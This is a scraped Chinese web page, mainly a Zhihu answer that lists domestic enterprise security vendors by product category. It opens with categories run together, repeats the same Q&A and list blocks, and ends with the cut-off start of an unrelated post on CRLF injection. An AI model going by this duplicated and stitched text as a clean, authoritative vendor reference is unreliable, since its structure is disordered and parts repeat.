全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠邮件安全产品：守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代数据库漏洞扫描：安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷数据库防火墙：安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷数据库加密和脱敏：中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷数据库审计：安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷半自动&自动化渗透平台：安恒信息、安络科技、四叶草安全应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY：天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA，这个就单列了、中科恒伦、上海林果、福建伊时代代码防火墙：上海观安加密安全设备/NDLP：福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞反钓鱼/反欺诈：电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天语音安全：北京无限互联数据安全数据备份：上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代虚拟机备份与恢复：成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件数据清除工具：中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威移动安全/虚拟化安全/云安全虚拟化安全防护：安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件手机防病毒：腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾移动终端管理/EMM/MDM：国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安CASB/云业务安全接入代理：炼石网络、云安宝、信云科技、绿盟科技、启明星辰手机APP安全：梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技基于云的安全服务：青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善！大数据安全：安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类，因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分，但是……这个分类可能近期会做细化安全管理SIEM/日志管理/日志审计/SOC/安管平台：安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代运维审计/4A/堡垒机：安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安网管软件/ITIL：广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件漏洞扫描与管理：安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺网络和主机配置核查系统：安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件主机安全保密检查工具：中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安信息安全等级保护测评工具箱：安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注：市面上多家厂家均生产此产品，但公安部仅指定了5家作为“合格的”生产单位！网络安全态势感知：安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技应急处置工具箱：安恒信息工控安全产品与厂商大全威努特、匡恩网络、谷神星、海天炜业、珠海鸿瑞、力控华康、启明星辰、绿盟科技、中科网威、三零卫士、安恒信息、北京网藤科技、天地和兴、安恒信息……工控防火墙：中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能工控安全审计：威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威工控漏洞扫描/挖掘：天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇工控安管平台：天地和兴、匡恩网络、中科网威工控主机安全防护：天地和兴、网藤科技、安点科技、九略智能工控入侵检测/威胁感知/入侵防御：安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威工控网闸：安点科技、中科网威工控防泄密：匡恩网络工控检查工具箱：安恒信息、工控蜜罐：匡恩网络、工控攻防实验室：匡恩网络、网藤科技、博智软件工控态势感知：安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能中国自主可控网络安全产品与厂商数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会；就自主可控行业的特殊性而言，很多大厂商是作为特供产品进行市场宣传，而小厂商只作为品牌规划，并没有特殊宣传，在数据收集时可能会导致内容不全面；对于名单中未涉及的厂商，可以单独联系， 告知欲添加的分类、公司名称（需在上述3个联盟中）；感谢中关村可信联盟自主可信专委会相关工作人员整理！防火墙：中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所入侵检测/防御：中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏漏洞扫描系统：中科神威、安恒信息 、绿盟科技安全管理平台：启明星辰、中科神威、360网闸/安全隔离与信息单向导入设备：国保金泰、中科神威、北京安盟、赛博兴安加密机：江南天安终端安全：北信源、江民科技Web应用防火墙：上海天泰堡垒机：建恒信安、江南寰宇负载均衡：般固科技防毒墙：江民科技备份一体机：壹进制网络流量分析：北京卓迅网络准入控制：画方科技存储：创新科、同有飞骥未分类子类舆情监控：中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达威胁情报：微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息国产操作系统：Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux国产数据库：达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase业务风控安全：锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾蜜罐：安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技安全硬件平台/工控机：新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华，立华，惠尔，智威智能数据恢复：苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件数据库准入：杭州美创数据库堡垒机：杭州美创红黑电源滤波插座：保旺达、启航智通电磁屏蔽柜：启航智通、信安邦数字取证：美亚柏科、盘石软件安全计算机：瑞达信息 查看全部
链接：https://www.zhihu.com/question/20334043/answer/183326406
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发？
问题太大了，做企业版安全产品的N多，有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售，基本不会在国内开发？
国外的安全软件除非个别的，基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处？规模比较大的国外安全公司很多在国内有办事处。
这个是一个兄弟整理的安全产品厂商分类，找不到出处了。
1. 防火墙类（UTM&FW&NGFW）厂商
2. WAF（web 应用防火墙）厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏（DLP）
13. 漏洞扫描（主机&web）
14. SOC（安全运维平台）&SIEM（安全事件管理）
15. 内网安全管理（含准入）
16. 上网行为管理
17. 远程接入安全（VPN）
18. 入侵检测和防御（IDS&IPS）
19. 抗拒绝服务攻击（DDoS）
20. 网页防篡改
其他公司细分（跟游侠打过招呼了，感谢辛苦整理）:<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发？
问题太大了，做企业版安全产品的N多，有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售，基本不会在国内开发？
国外的安全软件除非个别的，基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处？规模比较大的国外安全公司很多在国内有办事处。
这个是一个兄弟整理的安全产品厂商分类，找不到出处了。
1. 防火墙类（UTM&FW&NGFW）厂商
2. WAF（web 应用防火墙）厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏（DLP）
13. 漏洞扫描（主机&web）
14. SOC（安全运维平台）&SIEM（安全事件管理）
15. 内网安全管理（含准入）
16. 上网行为管理
17. 远程接入安全（VPN）
18. 入侵检测和防御（IDS&IPS）
19. 抗拒绝服务攻击（DDoS）
20. 网页防篡改
其他公司细分（跟游侠打过招呼了，感谢辛苦整理）:<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
- 存储介质信息消除/粉碎机：北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾
- 防火墙/UTM/安全网关/下一代防火墙：天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光
- 入侵检测/防御：启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全
- 无线入侵检测/防御：360、北京锐云通信、山东闻道通信
- VPN：深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信
- 上网行为管理：360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技
- 网络安全审计：天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多
- 网络流量控制：360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信（IP-Guard）、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络
- 网络流量分析：科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络
- 防病毒网关/防毒墙：网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技
- APT未知威胁发现：安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安
- 抗DDoS产品：绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技
- 抗DDoS服务：阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾
- 网闸：360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思
- 安全隔离与信息单向导入设备/单向传输机器：深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件
- 网络缓存加速·产品：缓存大师WebCache、锐捷、优络普、Panabit、安信华
- 网络缓存加速·服务：知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod
- 网络准入控制：北信源、无锡宝界、蓝盾、互普&溢信（IP-Guard）、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件
- 负载均衡：深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代
- 应用交付：智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技
- 加密机/密码机：江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪
- DNS安全：电信云堤、厦门帝恩思、知道创宇
- 不良信息识别与监测：金惠科技
- 桌面管理/主机审计：北信源、汉邦、联软、蓝盾、互普&溢信（IP-Guard）、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠
- 单机防病毒：瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件
- 网络防病毒：瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件
- 主机文档加密与权限控制/HDLP：亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信（IP-Guard）、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代
- 源代码加密及嵌入式开发源码加密：深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信（IP-Guard）、中软、虹安
- 主机安全加固：浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息
- 终端登录/身份认证：上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威
- 移动存储介质管理：北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件
- 补丁管理：北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山
- 打印安全/打印管理/打印审计：北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞
- 网页防篡改：安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安
- Web应用防火墙·WAF·硬件：安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技
- Web应用防火墙·WAF·软件：福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技
- Web应用防火墙·服务&云WAF：安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场
- WEB漏洞扫描：安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技
- 网站安全监测产品：安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠
- 网站安全监测服务：安恒信息、绿盟科技、知道创宇、360、百度安全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠
- 邮件安全产品：守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代
- 数据库漏洞扫描：安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷
- 数据库防火墙：安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷
- 数据库加密和脱敏：中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷
- 数据库审计：安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷
- 半自动&自动化渗透平台：安恒信息、安络科技、四叶草安全
- 应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY：天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA，这个就单列了、中科恒伦、上海林果、福建伊时代
- 代码防火墙：上海观安
- 加密安全设备/NDLP：福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞
- 反钓鱼/反欺诈：电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天
- 语音安全：北京无限互联
- 数据备份：上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代
- 虚拟机备份与恢复：成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件
- 数据清除工具：中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威
- 虚拟化安全防护：安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件
- 手机防病毒：腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾
- 移动终端管理/EMM/MDM：国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安
- CASB/云业务安全接入代理：炼石网络、云安宝、信云科技、绿盟科技、启明星辰
- 手机APP安全：梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技
- 基于云的安全服务：青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善！
- 大数据安全：安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类，因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分，但是……这个分类可能近期会做细化
- SIEM/日志管理/日志审计/SOC/安管平台：安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代
- 运维审计/4A/堡垒机：安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安
- 网管软件/ITIL：广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件
- 漏洞扫描与管理：安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺
- 网络和主机配置核查系统：安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件
- 主机安全保密检查工具：中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安
- 信息安全等级保护测评工具箱：安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注：市面上多家厂家均生产此产品，但公安部仅指定了5家作为“合格的”生产单位！
- 网络安全态势感知：安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技
- 应急处置工具箱：安恒信息
- 工控防火墙：中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能
- 工控安全审计：威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威
- 工控漏洞扫描/挖掘：天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇
- 工控安管平台：天地和兴、匡恩网络、中科网威
- 工控主机安全防护：天地和兴、网藤科技、安点科技、九略智能
- 工控入侵检测/威胁感知/入侵防御：安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威
- 工控网闸：安点科技、中科网威
- 工控防泄密：匡恩网络
- 工控检查工具箱：安恒信息、
- 工控蜜罐：匡恩网络、
- 工控攻防实验室：匡恩网络、网藤科技、博智软件
- 工控态势感知：安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能
- 数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会；
- 就自主可控行业的特殊性而言，很多大厂商是作为特供产品进行市场宣传，而小厂商只作为品牌规划，并没有特殊宣传，在数据收集时可能会导致内容不全面；
- 对于名单中未涉及的厂商，可以单独联系， 告知欲添加的分类、公司名称（需在上述3个联盟中）；
- 感谢中关村可信联盟自主可信专委会相关工作人员整理！
- 防火墙：中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所
- 入侵检测/防御：中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏
- 漏洞扫描系统：中科神威、安恒信息 、绿盟科技
- 安全管理平台：启明星辰、中科神威、360
- 网闸/安全隔离与信息单向导入设备：国保金泰、中科神威、北京安盟、赛博兴安
- 加密机：江南天安
- 终端安全：北信源、江民科技
- Web应用防火墙：上海天泰
- 堡垒机：建恒信安、江南寰宇
- 负载均衡：般固科技
- 防毒墙：江民科技
- 备份一体机：壹进制
- 网络流量分析：北京卓迅
- 网络准入控制：画方科技
- 存储：创新科、同有飞骥
- 舆情监控：中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达
- 威胁情报：微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息
- 国产操作系统：Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux
- 国产数据库：达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase
- 业务风控安全：锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾
- 蜜罐：安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技
- 安全硬件平台/工控机：新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华，立华，惠尔，智威智能
- 数据恢复：苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件
- 数据库准入：杭州美创
- 数据库堡垒机：杭州美创
- 红黑电源滤波插座：保旺达、启航智通
- 电磁屏蔽柜：启航智通、信安邦
- 数字取证：美亚柏科、盘石软件
- 安全计算机：瑞达信息
CRLF注入漏洞讲解
ttgo2 发表了文章 • 4 个评论 • 256 次浏览 • 2018-10-21 09:23
CRLF Injection很少遇见，这次被我逮住了。我看zone中（http://zone.wooyun.org/content/13323）还有一些同学对于这个漏洞不甚了解，甚至分不清它与CSRF，我详细说一下吧。
1 什么是CRLF注入
